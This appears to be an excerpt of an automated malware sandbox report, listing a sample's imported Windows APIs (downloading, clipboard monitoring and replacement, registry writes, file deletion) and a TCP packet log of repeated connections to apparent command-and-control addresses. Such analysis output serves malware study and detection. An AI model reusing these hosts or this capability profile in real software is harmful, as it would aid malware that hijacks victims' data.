WS2_32.dll	recvfrom, setsockopt, sendto, bind, WSAStartup, ioctlsocket, recv, send, WSACloseEvent, WSARecv, WSASend, WSAGetLastError, WSAEnumNetworkEvents, gethostname, connect, inet_ntoa, inet_addr, htons, getsockname, shutdown, socket, closesocket, gethostbyname, WSAEventSelect, WSAGetOverlappedResult, WSAWaitForMultipleEvents, getpeername, accept, WSACreateEvent, WSASocketA, listen
SHLWAPI.dll	PathFileExistsW, StrCmpNW, PathMatchSpecW, PathFindFileNameW, PathFileExistsA, StrChrA, StrStrIA, StrCmpNIA, StrStrW
urlmon.dll	URLDownloadToFileW
WININET.dll	InternetConnectA, InternetOpenUrlW, HttpQueryInfoA, InternetOpenW, HttpSendRequestA, HttpAddRequestHeadersA, HttpOpenRequestA, InternetReadFile, InternetOpenUrlA, InternetOpenA, InternetCloseHandle, InternetCrackUrlA
ntdll.dll	memcpy, _chkstk, _aulldiv, RtlUnwind, memmove, mbstowcs, RtlTimeToSecondsSince1980, NtQuerySystemTime, NtQueryVirtualMemory, strstr, isdigit, isalpha, _allshl, _aullshr, memset
msvcrt.dll	rand, srand, _vscprintf
KERNEL32.dll	MoveFileW, CreateProcessW, GetLocaleInfoA, DuplicateHandle, DeleteCriticalSection, GetThreadPriority, SetThreadPriority, GetCurrentThread, GetCurrentProcess, InterlockedExchangeAdd, InterlockedIncrement, InterlockedExchange, WaitForSingleObject, InterlockedDecrement, GetCurrentProcessId, HeapSetInformation, GetProcessHeaps, GetSystemInfo, PostQueuedCompletionStatus, HeapValidate, HeapCreate, HeapFree, HeapAlloc, HeapReAlloc, ExpandEnvironmentStringsW, CreateThread, DeleteFileA, CreateMutexA, MoveFileA, GetLastError, CreateEventA, ExitProcess, GetQueuedCompletionStatus, CreateIoCompletionPort, SetEvent, GetVolumeInformationW, SetFileAttributesW, lstrcpyW, DeleteFileW, GetDiskFreeSpaceExW, FindNextFileW, lstrcmpiW, QueryDosDeviceW, RemoveDirectoryW, FindClose, lstrlenA, GlobalLock, GetModuleHandleW, GetTickCount, GlobalAlloc, Sleep, lstrcpynW, ExitThread, MultiByteToWideChar, lstrlenW, GlobalUnlock, GetFileSize, MapViewOfFile, UnmapViewOfFile, WriteFile, InitializeCriticalSection, LeaveCriticalSection, CreateFileW, FlushFileBuffers, EnterCriticalSection, CreateFileMappingW, CloseHandle, FindFirstFileW, GetDriveTypeW, MoveFileExW, CreateDirectoryW, GetLogicalDrives, CopyFileW, GetModuleFileNameW, lstrcmpW
USER32.dll	SendMessageA, wsprintfW, IsClipboardFormatAvailable, RegisterClassExW, GetWindowLongW, GetClipboardData, EmptyClipboard, ChangeClipboardChain, SetWindowLongW, CloseClipboard, GetMessageA, FindWindowA, ShowWindow, wsprintfA, SetForegroundWindow, wvsprintfA, TranslateMessage, DefWindowProcA, RegisterRawInputDevices, CreateWindowExW, DispatchMessageA, OpenClipboard, SetClipboardData, SetClipboardViewer
ADVAPI32.dll	RegSetValueExW, CryptGenRandom, CryptReleaseContext, CryptAcquireContextW, RegQueryValueExW, RegOpenKeyExA, RegSetValueExA, RegCloseKey, RegOpenKeyExW
SHELL32.dll	ShellExecuteW
ole32.dll	CoInitializeEx, CoCreateInstance, CoInitialize, CoUninitialize
OLEAUT32.dll	SysFreeString, SysAllocString

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 15, 2022 18:31:30.772701025 CEST	49762	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:30.829678059 CEST	80	49762	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:30.829869986 CEST	49762	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:30.836591005 CEST	49762	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:30.893178940 CEST	80	49762	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:30.893227100 CEST	80	49762	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:30.893254995 CEST	80	49762	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:30.893306971 CEST	80	49762	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:30.893336058 CEST	80	49762	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:30.893359900 CEST	80	49762	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:30.893424034 CEST	80	49762	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:30.893436909 CEST	49762	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:30.893493891 CEST	49762	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:31.001279116 CEST	49762	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:31.001372099 CEST	49762	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:31.058437109 CEST	80	49762	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:31.058501005 CEST	49762	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:31.058612108 CEST	80	49762	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:31.058660984 CEST	49762	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:31.186661959 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:31.245110035 CEST	80	49763	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:31.245215893 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:31.247442961 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:31.304191113 CEST	80	49763	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:31.304255009 CEST	80	49763	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:31.304302931 CEST	80	49763	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:31.304336071 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:31.304343939 CEST	80	49763	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:31.304367065 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:31.304390907 CEST	80	49763	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:31.304414034 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:31.304436922 CEST	80	49763	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:31.304444075 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:31.304474115 CEST	80	49763	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:31.304493904 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:31.304615021 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:33.790317059 CEST	49764	40500	192.168.2.7	176.194.22.84
Aug 15, 2022 18:31:36.832381010 CEST	49764	40500	192.168.2.7	176.194.22.84
Aug 15, 2022 18:31:38.258161068 CEST	49765	80	192.168.2.7	185.215.113.84
Aug 15, 2022 18:31:38.315890074 CEST	80	49765	185.215.113.84	192.168.2.7
Aug 15, 2022 18:31:38.316106081 CEST	49765	80	192.168.2.7	185.215.113.84
Aug 15, 2022 18:31:38.323205948 CEST	49765	80	192.168.2.7	185.215.113.84
Aug 15, 2022 18:31:38.378767014 CEST	80	49765	185.215.113.84	192.168.2.7
Aug 15, 2022 18:31:38.378837109 CEST	80	49765	185.215.113.84	192.168.2.7
Aug 15, 2022 18:31:38.378969908 CEST	49765	80	192.168.2.7	185.215.113.84
Aug 15, 2022 18:31:38.826719999 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:38.883723974 CEST	80	49763	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:38.883768082 CEST	80	49763	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:38.883826971 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:39.898257017 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:39.954905033 CEST	80	49763	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:39.955102921 CEST	80	49763	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:39.955193996 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:40.983021021 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:41.042918921 CEST	80	49763	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:41.046889067 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:42.926670074 CEST	49764	40500	192.168.2.7	176.194.22.84
Aug 15, 2022 18:31:43.014853001 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:43.071795940 CEST	80	49763	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:43.072801113 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:44.812818050 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:44.871459961 CEST	80	49763	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:44.871617079 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:45.125787973 CEST	49765	80	192.168.2.7	185.215.113.84
Aug 15, 2022 18:31:45.126938105 CEST	49767	80	192.168.2.7	185.215.113.84
Aug 15, 2022 18:31:45.184633970 CEST	80	49767	185.215.113.84	192.168.2.7
Aug 15, 2022 18:31:45.184873104 CEST	49767	80	192.168.2.7	185.215.113.84
Aug 15, 2022 18:31:45.186141968 CEST	80	49765	185.215.113.84	192.168.2.7
Aug 15, 2022 18:31:45.186245918 CEST	49765	80	192.168.2.7	185.215.113.84
Aug 15, 2022 18:31:45.186839104 CEST	49767	80	192.168.2.7	185.215.113.84
Aug 15, 2022 18:31:45.245997906 CEST	80	49767	185.215.113.84	192.168.2.7
Aug 15, 2022 18:31:45.246023893 CEST	80	49767	185.215.113.84	192.168.2.7
Aug 15, 2022 18:31:45.246228933 CEST	49767	80	192.168.2.7	185.215.113.84
Aug 15, 2022 18:31:45.524461985 CEST	49767	80	192.168.2.7	185.215.113.84
Aug 15, 2022 18:31:48.190406084 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:48.191395044 CEST	49778	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:48.253849030 CEST	80	49778	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:48.254038095 CEST	49778	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:48.254514933 CEST	49778	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:48.254626989 CEST	80	49763	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:48.254724979 CEST	49763	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:48.316457033 CEST	80	49778	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:48.316487074 CEST	80	49778	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:48.316560984 CEST	49778	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:49.321367979 CEST	49778	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:49.379134893 CEST	80	49778	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:49.379162073 CEST	80	49778	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:49.379271984 CEST	49778	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:50.398318052 CEST	49778	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:50.455782890 CEST	80	49778	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:50.455815077 CEST	80	49778	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:50.455980062 CEST	49778	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:51.491883039 CEST	49778	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:51.786901951 CEST	49778	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:51.831628084 CEST	80	49778	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:51.831710100 CEST	49778	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:51.845146894 CEST	80	49778	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:52.854788065 CEST	49778	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:52.912568092 CEST	80	49778	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:52.912606001 CEST	80	49778	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:52.912729025 CEST	49778	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:56.070290089 CEST	49778	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:56.071338892 CEST	49785	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:56.130171061 CEST	80	49785	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:56.130592108 CEST	80	49778	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:56.130697966 CEST	49778	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:56.131527901 CEST	49785	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:56.131560087 CEST	49785	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:56.187562943 CEST	80	49785	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:56.187637091 CEST	80	49785	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:56.187736034 CEST	49785	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:57.197448969 CEST	49785	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:57.253433943 CEST	80	49785	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:57.253489017 CEST	80	49785	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:57.253562927 CEST	49785	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:58.258836985 CEST	49785	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:58.314738989 CEST	80	49785	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:58.314960003 CEST	80	49785	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:58.315020084 CEST	49785	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:59.323095083 CEST	49785	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:31:59.382608891 CEST	80	49785	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:59.382657051 CEST	80	49785	185.215.113.66	192.168.2.7
Aug 15, 2022 18:31:59.382725954 CEST	49785	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:00.581275940 CEST	49785	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:00.640603065 CEST	80	49785	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:00.640722036 CEST	49785	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:05.340064049 CEST	49785	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:05.341897011 CEST	49787	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:05.399940968 CEST	80	49785	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:05.400258064 CEST	49785	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:05.405114889 CEST	80	49787	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:05.405236959 CEST	49787	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:05.406146049 CEST	49787	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:05.462671041 CEST	80	49787	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:05.462749958 CEST	80	49787	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:05.462920904 CEST	49787	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:06.478008986 CEST	49787	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:06.550353050 CEST	80	49787	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:06.550513029 CEST	49787	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:07.556500912 CEST	49787	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:07.613779068 CEST	80	49787	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:07.613881111 CEST	80	49787	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:07.613969088 CEST	49787	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:08.618907928 CEST	49787	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:08.677336931 CEST	80	49787	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:08.677377939 CEST	80	49787	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:08.679595947 CEST	49787	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:09.696106911 CEST	49787	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:09.757704020 CEST	80	49787	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:09.757846117 CEST	49787	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:12.931016922 CEST	49787	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:12.932782888 CEST	49794	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:12.987638950 CEST	80	49787	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:12.988606930 CEST	49787	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:12.990498066 CEST	80	49794	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:12.990657091 CEST	49794	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:12.991106033 CEST	49794	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:13.048710108 CEST	80	49794	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:13.048749924 CEST	80	49794	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:13.048921108 CEST	49794	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:14.066327095 CEST	49794	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:14.123651981 CEST	80	49794	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:14.123684883 CEST	80	49794	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:14.123805046 CEST	49794	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:15.134737015 CEST	49794	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:15.194490910 CEST	80	49794	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:15.194560051 CEST	80	49794	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:15.194699049 CEST	49794	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:16.212922096 CEST	49794	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:16.270648003 CEST	80	49794	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:16.270699978 CEST	80	49794	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:16.270816088 CEST	49794	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:17.289227009 CEST	49794	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:17.350804090 CEST	80	49794	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:17.350972891 CEST	49794	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:20.527383089 CEST	49794	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:20.528688908 CEST	49797	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:20.584839106 CEST	80	49794	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:20.585040092 CEST	80	49797	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:20.585127115 CEST	49794	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:20.585258961 CEST	49797	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:20.586002111 CEST	49797	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:20.643687963 CEST	80	49797	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:20.643721104 CEST	80	49797	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:20.643846989 CEST	49797	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:21.672964096 CEST	49797	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:21.729620934 CEST	80	49797	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:21.729661942 CEST	80	49797	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:21.729844093 CEST	49797	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:23.761060953 CEST	49797	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:23.817940950 CEST	80	49797	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:23.817989111 CEST	80	49797	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:23.818200111 CEST	49797	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:24.838673115 CEST	49797	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:24.898762941 CEST	80	49797	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:24.902034044 CEST	49797	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:25.923537016 CEST	49797	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:25.980289936 CEST	80	49797	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:25.980479956 CEST	49797	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:29.136281967 CEST	49797	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:29.137432098 CEST	49799	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:29.193053961 CEST	80	49797	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:29.193190098 CEST	49797	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:29.193980932 CEST	80	49799	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:29.194075108 CEST	49799	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:29.194683075 CEST	49799	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:29.250955105 CEST	80	49799	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:29.251115084 CEST	80	49799	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:29.251207113 CEST	49799	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:30.271567106 CEST	49799	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:30.333163977 CEST	80	49799	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:30.333312988 CEST	49799	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:31.339890957 CEST	49799	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:31.397207975 CEST	80	49799	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:31.397250891 CEST	80	49799	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:31.397823095 CEST	49799	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:32.406368971 CEST	49799	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:32.463176012 CEST	80	49799	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:32.463300943 CEST	49799	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:33.479639053 CEST	49799	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:33.536449909 CEST	80	49799	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:33.537692070 CEST	49799	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:36.748977900 CEST	49799	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:36.750273943 CEST	49804	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:36.807207108 CEST	80	49799	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:36.807295084 CEST	49799	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:36.808161974 CEST	80	49804	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:36.809020042 CEST	49804	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:36.809062958 CEST	49804	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:36.865967989 CEST	80	49804	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:36.866003036 CEST	80	49804	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:36.866132975 CEST	49804	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:37.938834906 CEST	49804	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:38.000555992 CEST	80	49804	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:38.000767946 CEST	49804	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:39.964112043 CEST	49804	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:40.021087885 CEST	80	49804	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:40.021171093 CEST	80	49804	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:40.021300077 CEST	49804	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:41.314265013 CEST	49804	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:41.375144005 CEST	80	49804	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:41.375215054 CEST	80	49804	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:41.375390053 CEST	49804	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:43.473820925 CEST	49804	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:43.869448900 CEST	49804	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:43.928890944 CEST	80	49804	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:43.928993940 CEST	49804	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:47.120060921 CEST	49804	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:47.121169090 CEST	49821	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:47.176953077 CEST	80	49804	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:47.179188013 CEST	80	49821	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:47.179316044 CEST	49804	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:47.179369926 CEST	49821	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:47.189857006 CEST	49821	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:47.251374960 CEST	80	49821	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:47.251492977 CEST	80	49821	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:47.255687952 CEST	49821	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:48.278768063 CEST	49821	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:48.336347103 CEST	80	49821	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:48.336374044 CEST	80	49821	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:48.336508989 CEST	49821	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:49.350368023 CEST	49821	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:49.407686949 CEST	80	49821	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:49.407743931 CEST	80	49821	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:49.411577940 CEST	49821	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:50.423707008 CEST	49821	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:50.484554052 CEST	80	49821	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:50.485863924 CEST	49821	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:51.508435011 CEST	49821	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:51.565948963 CEST	80	49821	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:51.566401005 CEST	49821	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:54.723475933 CEST	49821	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:54.724602938 CEST	49842	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:54.795171976 CEST	80	49842	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:54.795311928 CEST	49842	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:54.795758963 CEST	80	49821	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:54.795838118 CEST	49821	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:54.796464920 CEST	49842	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:54.854363918 CEST	80	49842	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:54.854403019 CEST	80	49842	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:54.854501963 CEST	49842	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:55.868633032 CEST	49842	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:55.924801111 CEST	80	49842	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:55.924823999 CEST	80	49842	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:55.924911976 CEST	49842	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:56.930187941 CEST	49842	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:56.986404896 CEST	80	49842	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:56.986433029 CEST	80	49842	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:56.986515999 CEST	49842	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:57.993880033 CEST	49842	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:58.050318003 CEST	80	49842	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:58.050360918 CEST	80	49842	185.215.113.66	192.168.2.7
Aug 15, 2022 18:32:58.050446987 CEST	49842	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:59.134948015 CEST	49842	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:32:59.191648960 CEST	80	49842	185.215.113.66	192.168.2.7
